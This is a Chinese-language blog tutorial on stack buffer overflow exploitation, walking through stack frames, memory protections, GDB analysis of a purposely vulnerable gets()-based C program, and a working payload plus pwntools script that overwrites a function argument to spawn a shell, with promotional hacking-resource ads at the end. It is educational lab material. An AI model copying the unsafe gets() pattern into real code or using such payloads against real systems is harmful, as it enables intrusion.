Pwn之栈溢出利用详解

栈溢出简介

栈的概念

🖥是汇编语言中的一种数据结构,遵循LIFO(Last in Fist Out)原则,即后进先出

🚍栈的主要操作:压栈(Push)出栈(Pop)

📌注意:栈从高地址向低地址存储。

栈溢出原理

🎈栈溢出是缓冲区溢出的一种。

🈳栈溢出指向某个变量写入的数据超过其申请的内存空间大小,从而覆盖相邻栈的数据。

🔐我们可以通过这种覆盖相邻栈操作去覆盖函数返回地址从而劫持程序到我们想执行的地方。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年CTF夺旗赛题解析

函数调用原理图

📚想要学会Pwn和最简单的栈溢出,必须熟练掌握函数调用在汇编中的实现过程。

🔗我们目前使用的C语言编写的漏洞程序一般使用栈传递参数

即调用函数前先将参数从右到左的顺序压入栈中。

具体存储结构图如下:

Function_Stack

🔔High Address(高地址):栈底,最先入栈,最后出栈。

🔔Low Address(低地址):栈顶,最后入栈,最先出栈。

  1. 栈底是调用者保存的寄存器数据。调用函数前,我们需要将原来存放在EAX、ECX、EDX等寄存器中的值保存起来,以便被调用函数使用寄存器的同时不会造成原来的数据丢失,被调函数返回后只需从栈中取回数据即可。
  2. 紧接着是参数,我们按从右到左的顺序将参数压入栈中,方便被调函数访问。
  3. 再往后是返回地址。执行call调用函数时,ip会指向call的下一条指令,然后执行call指令。接着,会将被调函数的下一条指令偏移地址(即ip中的值)压入栈中,以便被调函数结束后继续执行原来程序中的下一条指令。
  4. 下一个是EBP的值。
  5. 最后是被调函数创建的局部变量

📌EBP:EBP寄存器是函数调用中很重要的一个寄存器。它保存了栈的基址。这个基址一般位于函数的开头部分。我们想要访问栈中的数据,必须有一个可以当作参考地址的对象,然后基于它用偏移地址访问我们需要的空间。

例如,大多数被调函数的开头:

assembly复制代码push ebp
mov ebp,esp
sub esp,N

🔴首先将EBP寄存器里的值压入栈中保存,这个ebp即主函数中栈的基址(用于在主函数中作为参考地址访问别的内存空间)。

🔵然后把esp(当前栈顶的偏移地址)传递给ebp,此时ebp中的数据变成了当前函数的栈的基址。

🔴最后的用于为局部变量申请空间(一般情况下,大多数编译器把C语言局部变量也保存在栈中)。

❓为什么需要EBP?

🔵我们访问栈中的数据明明可以用SS:SP进行访问,为什么还需要EBP当作基址呢?

🔴因为对栈中的数据进行操作时,SP是不断变化的,我们无法准确定位它的位置,这会使程序变得很复杂,如果我们固定一个地址(即栈的基址),通过它使用偏移量访问其它内存空间,会使逻辑结构变得很简单。

栈溢出利用前准备工作

常见保护机制

  • ASLR:地址空间配置随机加载(Address space layout randomization,缩写ASLR,又称地址空间配置随机化、地址空间布局随机化)是一种防范内存损坏漏洞被利用的计算机安全技术。

  • RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

  • PIE:Position-Independent-Executable是Binutils,glibc和gcc的一个功能,能用来创建介于共享库和通常可执行代码之间的代码。

    标准的可执行程序需要固定的地址,并且只有被装载到这个地址才能正确执行,PIE能使程序像共享库一样在主存任何位置装载,这需要将程序编译成位置无关,并链接为ELF共享对象。

  • NX:NX即No-eXecute(不可执行)的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。

  • Canary:栈溢出保护是一种缓冲区溢出攻击的缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。

    当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,该cookie往往放置在ebp的正上方,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。

    攻击者在覆盖返回地址的时候也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

环境设置

⚡为了降低初学者入门难度,关闭ASLR保护。(临时方法,每次开机需执行)

bash

复制代码echo 0 > /proc/sys/kernel/randomize_va_space

关闭Canary和其它保护,编译C语言时候使用:

bash

复制代码gcc -m32 -O0 -no-pie -fno-stack-protector [源文件名] -o [目标文件名]

-m32 :编译32位程序

-O0 : 关闭所有优化

-no-pie:关闭PIE保护

-fno-stack-protector : 不开启Canary保护

关闭PIE保护,使用下列命令查看是否开启PIE保护:

bash

复制代码gcc -v

若发现--enable-default-pie参数则PIE默认开启,需要在编译时候添加 -no-pie 参数。

Pwn目标程序

😄我们使用下面的C语言程序作为目标程序尝试利用栈溢出漏洞。

🍳下列程序很简单,运行后调用func函数,并传递 0xdeadbeef 参数。然后使用gets读入字符串,判断传入的参数是否等于 0xcafebabe,若等于则执行shell,否则打印 Nah…。

❓若程序正常执行,一定会打印Nah…,但是gets并不会检查输入字符串长度,我们可以借助它的缺陷进行栈溢出利用。

c复制代码#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

栈溢出利用

栈溢出利用前运行测试

bash复制代码┌──(root💀kali)-[~/桌面]
└─# ./test
overflow me : 123456
Nah..

结果在预料之中,由于调用func函数时传递的参数是固定写死的,所以无论输入什么,都会输出这个结果。

使用Checksec检查

bash复制代码┌──(root💀kali)-[~/桌面]
└─# checksec test
[*] '/root/桌面/test'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

😄我们使用Checksec工具检查程序,发现是一个32位程序,并且除了NX保护外其它保护均未开启。

使用GDB调试

🐷我们使用 gdb -q [文件名] 进行文件调试。(q参数不输出gdb版权信息,防止输出太多干扰)

gdb

😋使用 stari 开始调试

stari

😫使用 disassemble main 命令查看main函数的汇编代码;

😜使用 disassemble func 查看func函数的汇编代码:

main

观察以上汇编代码,我们可以看出整个流程和C语言代码一致。

🙄我们在调用func函数的地方下一个断点:

break

😜然后开始执行程序:

r]()

🔍我们发现程序在 call 调用func函数的地方停了下来(高亮处)。

🔉可以看到此时栈顶传入的参数

👍我们使用stepi单步执行,进入func函数:

stepi

👍此时,进入func函数,准备执行 push ebp,栈顶为函数返回地址(即call的下一条命令)。

😏继续stepi会执行函数里的命令,此处不再赘述。

栈溢出利用思路

👍使用GDB知道了程序运行的流程,但是我们的key始终是不满足条件的固定值,怎么修改它?

😡前面我们提到,gets函数不会检查输入字符的长度,那么如果输入长度大于了变量申请的空间会发生什么?

👌没错,会产生栈溢出。它会将多余的数据覆盖其它内存空间中。

😄而且根据上述流程,参数变量的栈空间是相邻的,也就是说,如果产生栈溢出,会覆盖返回地址和参数

所以,我们可以通过使gets读取的字符串多余部分溢出到存储参数的栈空间,从而修改函数传入的参数。

我们需要做如下工作:

  1. 找到存储参数key的栈空间的地址。
  2. 找到开始存储变量的地址。
  3. 计算两个地址差值,并设计gets读入的字符串,使目的字符串覆盖参数。

实战栈溢出

📉我们根据上述流程分析,存储参数key的空间地址(执行call前栈顶的地址):

bash

复制代码0000| 0xffffd1a0 --> 0xdeadbeef 

🎉接下来确定变量开始存储的地址,我们为了方便确定变量地址的位置,我们在gets后面下断点,然后传入特殊字符,如40个A。

gets

👌下列这两句代码,我们可以推断出变量开始存储的地址:

bash复制代码0000| 0xffffd160 --> 0xffffd170 ('A' <repeats 40 times>)
0016| 0xffffd170 ('A' <repeats 40 times>)

⏰参数开始存放地址:0xffffd1a0

⏰变量开始存放地址:0xffffd170

✍计算二者差值:0xffffd1a0 - 0xffffd170 = 30H = 48

因此,我们需要填入48个字符 + 覆盖值

💻构造如下payload(采用小端存储):

bash

复制代码(python -c 'print "a"*48 + "\xbe\xba\xfe\xca"'; cat -) | ./test

😄输入命令后,参数被覆盖,程序执行了System函数,成功拿下Shell!(我们已经拿下root权限,可以执行任何代码)

Shell

pwntools

pwntools实现代码如下:

python复制代码# coding:utf-8
from pwn import *
# 小端序转换函数
def p32_trans_iso_8859_1(value):
    result = p32(value).decode('iso-8859-1')
    return result
# 设置运行环境
context(arch='amd64', os='linux')
# process为本地程序,remote为远程调用
c = process("./bof_32-gcc4.8")
payload = 'A'*48 + p32_trans_iso_8859_1(0xcafebabe)
#print payload
# 向程序发送数据
c.sendline(payload)
# 获得shell
c.interactive()

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,如果你对网络安全入门感兴趣,需要的话可以在下方

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值